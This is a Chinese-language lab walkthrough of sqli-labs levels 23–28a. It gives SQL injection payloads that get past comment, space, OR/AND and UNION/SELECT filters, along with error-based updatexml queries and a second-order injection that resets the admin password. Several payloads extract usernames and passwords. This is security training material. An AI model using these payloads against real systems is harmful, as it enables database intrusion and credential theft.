Lesson 23 GET - Error Based - strip comments (基于错误的,过滤注释的GET型)
(1)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
显示出用户名和密码
(2)加上一个单引号进行测试
SELECT * FROM users WHERE id='1'' LIMIT 0,1
出现了报错
加上注释符进行注释看会不会出错
SELECT * FROM users WHERE id='1' ' LIMIT 0,1
还是出现了报错,查看sql语句发现并没有把新加的单引号注释掉
(3)这里涉及到代码审计的知识,打开源代码
发现这里将#和--符号都进行了替换,替换成了空。所以我们输入--+进行注释是无效的
(4)第一种解决方法
这里有一个只针对于sqli-lab使用的一个特殊符号 ;%00
?id=1' ;%00
SELECT * FROM users WHERE id='1' ;' LIMIT 0,1
登录成功
之后使用order by语句判断列数,列数为3
?id=1' order by 3;%00
接下来就是老操作,使用union select语句进行联合查询(记得id处加-)
?id=-1' union select 1,2,3;%00
用户名和密码处显示出2,3
接下来查库,查表,查字段,查字段的值
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;%00
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';%00
?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00
(5)第二种方法(报错注入 updatexml语句)
?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1
报出数据库名字,剩下的操作就是替换查询语句即可
Lesson 23结束
Lesson 24 Second Degree injections “Real treat” - Store injections(二次注入)
(1)先登录一下试试(用户名:admin 密码:admin)
登录成功
(2)创建一个新用户(用户名:admin’# 密码:123456)
(3)登录一下新注册的账号admin’#
登录成功
(4)给新注册的账号换密码(用户名:admin’# 密码:12345)
更改成功
(5)尝试登录账号admin(密码是刚刚给admin’#账号改的密码12345,不是之前的admin)
登录成功
(6)解析:
查看源代码
设置新用户,名字为admin’#,这个单引号形成了闭合,后面的#注释掉原有的单引号和后面的信息。所以改这个新用户的密码等于改原有admin用户的密码。所以新改的密码能登录之前的用户,形成二次注入。
Lesson 24结束
Lesson 25 Trick with OR & AND(过滤了or和and)
(1)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
显示正常
加上单引号(出错)
添加注释符(恢复正常)
(2)使用order by语句
?id=1' order by 2--+
SELECT * FROM users WHERE id='1' der by 2-- ' LIMIT 0,1
显示语句有错误,发现本来是order by但是语句中显示的是der by,说明or被过滤掉了。
检查源代码发现在这里对or和and不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)
(3)我们尝试一下双写,也就是OorRder by,进行绕过
?id=1' OorRder by 2--+
这时发现执行成功,sql语句中也显示完整
(4)使用union select语句进行联合查询(记得id处加上-)
?id=-1' union select 1,2,3--+
回显位置成功
(5)使用基础查询语句进行查询(查库)
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from infmation_schema.schemata-- ' LIMIT 0,1
这里进行了报错,查看sql语句发现information中的or也被进行了替换,一定要注意,这里也进行双写
?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
成功(一定要注意,以下也均双写)
(6)查表
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
(7)查字段
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
(8)查字段的值(这里注意password中也含or,记得双写)
?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+
(9)这里也可以使用updatexml()报错查询进行查询
?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1--+
查询出来信息,这里最好不用group_concat(),因为会显示不完整。最好使用limit语句进行遍历。
Lesson 25结束
Lesson 25a Trick with OR & AND Blind(过滤了or和and的盲注)
(1)先测试
SELECT * FROM users WHERE id=1 LIMIT 0,1
显示正常(这里1没有单引号进行包括)
查看源代码,发现也对or和and不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)
(2)因为这里并没有对id进行包括,直接用order by进行测试(记得测试)
?id=1 oorrder by 3--+
(3)使用union select语句进行联合查询(记得id处加上-)
?id=-1 union select 1,2,3--+
回显正常
(4)接下来操作和之前一样
接下来的操作不再演示
Lesson 25a结束
Lesson 26 (failed) Trick with comments and space(过滤了注释和空格的注入)
(1)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
显示正常
根据sql语句,加上单引号和注释符
SELECT * FROM users WHERE id='1'' LIMIT 0,1
这里出现了报错,sql语句中并没有显示注释符--
查看一下源代码
发现这里有很多注释符包括or,空格和and皆被替换成空
(2)这里可以使用一个特殊的注释符 ;%00 进行绕过
?id=1' ;%00
SELECT * FROM users WHERE id='1';' LIMIT 0,1
(3)这里先使用报错注入方法(updatexml(),or用||进行替换使用) 记得后面要进行闭合
?id=1' || updatexml(1,concat(0x7e, ( database( ) )),1) ;%00
SELECT * FROM users WHERE id='1'||updatexml(1,concat(0x7e,(database())),1);' LIMIT 0,1
或者
这里显示出信息
如果存在空格,可将其内容用括号包裹
(4)继续
显示出信息表信息
剩下的太长了,不再进行展示
Lesson 26结束
Lesson 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了注释和空格的盲注)
(1)先测试
SELECT * FROM users WHERE id=('1') LIMIT 0,1
显示成功,id值被单引号和单括号包裹
加上单引号和一个括号,并注释掉。(再次尝试寻常注释符不管用,还是用;%00)
返回成功
也可使用这个语句
查看一下源代码
这里有很多注释符包括or,空格和and皆被替换成空
看看与26关有什么不同
26:
26a:
两者不同处在于,26关会返回报错信息,而26a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入
(2)使用order by语句进行测试,注意双写和空格替换
?id=1') %a0 oorrder %a0 by %a0 3 ;%00
成功,还是3列
(3)使用union select进行联合查询(记得加-)
?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00
或者
回显出位置
接下来继续按照之前那样就可以了
Lesson 26a结束
Lesson 27 GET - Error Based - All your UNION & SELECT belong to us(过滤了union和select的注入)
(1)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
显示正常,id值由单引号包裹
加一个单引号和注释符
?id=1' ;%00
查看源代码
过滤替换掉更多,这一关算上之前的又替换了union,select,Select,Union,UNION和SELECT。(有大小写)
(2)使用order by语句进行测试,注意双写和空格替换
成功,还是3列
(3)使用union select进行联合查询(记得破坏id值,注意混合大小写)
?id=1111' %a0 uNion %a0 sElect %a0 1,2,3 ;%00
回显成功
接下来还是常规操作
这里也可以使用报错注入,不再展示
Lesson 27结束
Lesson 27a GET - Blind Based - All your UNION & SELECT belong to us(过滤了union和select的盲注)
(1)先测试
SELECT * FROM users WHERE id="1" LIMIT 0,1
显示正常,id值被双引号包裹(若没有sql语句如何判断,输入一个符号若出现错误说明有可能有注入,再加上注释符就无错了,说明就是确实有注入)
加上双引号和注释符
?id=1" ;%00
或:
查看源代码看与27关有何不同
27:
27a:
两者不同处在于,27关会返回报错信息,而27a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入
这时使用联合查询即可
(2)使用union select进行联合查询(记得破坏id值,注意混合大小写)
?id=1111" %a0 uNion %a0 sElect %a0 1,2,3 ;%00
回显出位置
(3)接下来的操作如常,只展示一个
?id=1111" %a0 uNion %a0 sElect %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00
接下来不再展示
Lesson 27a结束
Lesson 28 GET - Error Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于错误的,有括号的单引号字符型,过滤了union和select等的注入)
(1)先测试
SELECT * FROM users WHERE id=('1') LIMIT 0,1
显示正常,id值被单引号和括号包裹
加上单引号和单括号,加上注释符
?id=1') ;%00
查看源代码
其中,注释符被替换,UNION和SELECT被替换
无法使用报错注入
(2)使用union select语句进行联合查询(注意空格替换,大小写)
?id=11111') %a0 union %a0 select %a0 1,2,3;%00
或者:
回显出位置
接下来操作跟之前一样
Lesson 28结束
Lesson 28a GET - Bind Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)
(1)先测试
SELECT * FROM users WHERE id=('1') LIMIT 0,1
显示正常,id值被单引号和括号包裹
加上单引号和单括号,加上注释符
?id=1') --+
这次加上寻常的注释符也可以了
查看源代码
这次这些替换语句都被注释掉了,只留下了union和select被替换
也不能进行报错注入
(2)使用order by语句进行查询
成功,仍为3列
(3)使用union select进行联合查询
?id=1') union select 1,2,3--+
出错了,看一下回显的提示,发现并没有union select,它们被替换了
尝试混合大小写
?id=1') uNion sElect 1,2,3--+
还是不显示
再加上%a0试试
?id=1111') %a0 uNion %a0 sElect 1,2,3--+
回显成功
接下来常规操作,不再展示
Lesson 28a结束